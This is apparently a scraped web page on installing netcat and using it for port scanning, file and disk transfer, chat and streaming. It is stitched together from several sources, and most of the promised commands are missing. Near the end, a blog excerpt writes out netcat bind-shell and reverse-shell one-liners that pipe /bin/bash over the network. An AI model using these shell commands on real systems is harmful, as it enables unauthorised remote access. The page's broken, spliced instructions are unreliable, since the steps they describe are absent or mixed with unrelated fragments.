Install Netcat

To install netcat

We are going to install netcat on Ubuntu 18.04 machine using apt install or compiling it from source code.

Installation using apt is pretty simple, you just need to type the following command in the terminal:

To install netcat from source code

  1. Apr 30, 2020 Once system is updated you can install netcat package using yum install -y nc command as shown below. This command will also install any dependent packages which needs to be installed with netcat package.
  2. Apr 30, 2020 Step 3: Install Netcat Package. Once system is updated you can install netcat package using yum install -y nc command as shown below. This command will also install any dependent packages which needs to be installed with netcat package.

In this article, i will take you through the steps to install netcat command in Linux. Nc command in Linux can be used for variety of purposes like checking the status of remote ports, initiating chat services between server and client, start listening on some ports for incoming connections etc.

Compiling netcat from source code is not as easy as installing via apt install, but if you follow the steps below you can install it easily.

Download the source code from netcat website with the following command

Extract the newly downloaded archive. To do so you can run:

cd to the directory containing the package's source code and type ./configure to configure the package for your system.

If you are getting error message like this - 'no acceptable C compiler found in $PATH' when running ./configure command, make sure you have installed gcc compiler. To install it type the following command:

Running configure takes awhile.

Once configure has been successfully finished run:

and

You can remove the program binaries and object files from the source code directory by typing make clean. To also remove the files that configure created, run make distclean command.

How to use netcat

Before starting to explore some netcat commands it's important to know that if you are binding to well-known ports (0-1023) with nc, you need root privilege. Otherwise, you can run nc as a normal user.

1. Test if a particular TCP port of a remote host is open

Output if the 2424 port on remote server is closed

Output if the port on remote server is opened (e.g. 22 port)

2. Perform TCP port scanning against a remote host

The command below will check the ports from 20 to 25 on the remote host and print the result.

Output will look like this

Install Netcat On Mac

3. Perform UDP port scanning against a remote host

Output will show only the ports which allow udp connections.

4. Send a test UDP packet to a remote host

The command above will send a test UDP packet with 1 second timeout to a remote host at port 2424

Install Netcat

Install Netcat Cmd

5. Copy a file (e.g., test.txt) from one host to another

On the receiver host (184.145.20.128 in my case) run:

On the sender host (184.145.20.126) run the following command:

This will copy test.txt file from sender host to receiver host via 2424 port. make sure to allow incoming connections on 2424 port on the receiver host.

6. Transfer a whole directory (including its content) from one host to another

On the receiver host run:

On the sender host run the following command:

7. Create a compressed backup of hard drive (e.g., /dev/sdc) on a remote host

On the remote host run:

On the local host run the following command:

8. Restore a hard drive (e.g. /dev/sdc) from a compressed disk image stored in a remote host

On the local host run:

On the remote host run the following command:

9. Run insecure online chat between two hosts

On one host (e.g. 184.145.20.126) run the command below:

On another host (e.g. 184.145.20.128) run the following command:

After running these commands, anything typed in both terminals will be seen on both host machines.

10. Run a web server with a static web page

Run the command below on local host (e.g. 184.145.20.126) to start a web server that serves test.html on port 80. Note that you must run with sudo privileges as 80 is in range of well known ports (1-1023)

Now open http://184.145.20.126/test.html from another host to access it.

11. Listen on a TCP port using IPv6 address

You can use the following command to allow nc use IPv6 address when listening on a TCP port.

Check if it works with the command below

Output will look like this

12. Stream a video file from a server for client to watch the streamed video using video player (e.g., mplayer)

On a video server (184.145.20.126):

On a client host (184.145.20.128):

nc 184.145.20.126 2424 | mplayer -vo x11 -cache 3000 -

April 10, 2009

Netcat is a simple networking utility which reads and writes data across network connections using the TCP/IP protocol. It's a wonderful tool for debugging all kinds of network problems. It allows you to read and write data over a network socket just as simply as you can read data from stdin or write to stdout. I have put together a few examples of what this can be used to accomplish.

Establishing a connection and getting some data over HTTP:

Install Netcat Windows Powershell

Creating a shell:

  1. Remote machine: nc -l 1234 -e /bin/bash
  2. Local machine: nc remote_machine 1234

Creating a reverse shell:

  1. Local machine: nc -l 1234
  2. Remote machine: nc -e /bin/bash local_machine 1234

If you'd like to learn more about netcat, I can recommend this book (I served as the technical editor):

Install Netcat Rhel

I'm sure you are really just here for the download.

If you are having problems due to antivirus programs detecting this as a threat, the following version may be helpful to you. It is compiled with the -e remote execution option disabled. Thanks go to Rodney Beede for putting this together.

Check out my other pages tagged 'blog'.

JS needed for comments.